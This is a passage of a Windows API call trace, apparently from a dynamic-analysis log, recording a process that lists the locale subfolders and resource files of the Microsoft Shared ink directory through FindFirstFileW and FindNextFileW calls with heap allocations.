returned 1 [0078.802] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.802] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.802] GetProcessHeap () returned 0x470000 [0078.802] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.802] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0078.802] GetProcessHeap () returned 0x470000 [0078.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.802] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.803] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.803] GetProcessHeap () returned 0x470000 [0078.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0078.803] GetProcessHeap () returned 0x470000 [0078.803] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.803] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.803] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.804] GetProcessHeap () returned 0x470000 [0078.804] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.804] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.804] GetProcessHeap () returned 0x470000 [0078.804] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0078.807] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0078.807] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.808] GetProcessHeap () returned 0x470000 [0078.808] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.808] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0078.808] GetProcessHeap () returned 0x470000 [0078.808] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.809] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, 